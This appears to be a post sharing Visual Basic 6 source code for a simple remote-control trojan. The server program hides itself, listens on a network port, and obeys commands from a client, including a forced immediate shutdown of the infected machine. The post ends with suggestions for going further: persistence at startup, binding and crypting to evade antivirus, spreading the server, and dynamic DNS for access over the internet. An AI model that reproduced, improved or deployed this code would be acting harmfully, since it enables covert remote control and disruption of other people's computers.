VB6 Basic Trojan Source Code

'Form=frmserver.frm
'Add control : MSWINSCK.OCX
'Project="server_project"
Code:

Private Sub Form_Load()

    'Hide me

    Me.Visible = False

    App.TaskVisible = False

    'winsock

    Winsock1.LocalPort = 150

    Winsock1.RemotePort = 455

    Winsock1.Listen

  

End Sub



Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

    Winsock1.Close

    Winsock1.Accept requestID

End Sub





Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

  

    Dim Data As String

    Winsock1.GetData Data

  

    Select Case Data

  

    Case "msg"

        MsgBox "Trojan working !", vbInformation, "Msg"

  

    Case "shtd"

        Shell "shutdown -s -f -t 00"

  

    Case "connected"

        MsgBox "Client Connected !", vbInformation, "Connected !"

  

  

    End Select

End Sub

'Form=frmClient.frm
'Control: MSWINSCK.OCX
'Project="Client_project"
Code:

Private Sub Command1_Click()

    Winsock1.Close

    Winsock1.RemotePort = 150

    Winsock1.RemoteHost = Text1.Text 'server IP

    Winsock1.LocalPort = 9999

    Winsock1.Connect



    Winsock1.SendData "connected"

    

End Sub





Private Sub Form_Unload(Cancel As Integer)



    Winsock1.Close



End Sub



Private Sub cmdMsgbox_Click()

    Winsock1.SendData "msg"

End Sub



Private Sub cmdShutdown_Click()

    Winsock1.SendData "shtd"

End Sub

Download Project



Trojan Improvements for advance programmers.

01. Replace winsock.ocx control with class (pure code)
02. Add startup method to server / bind server / crypt server
03. Use server spread methods
04. Use No-ip.com for make internet use + port forwarding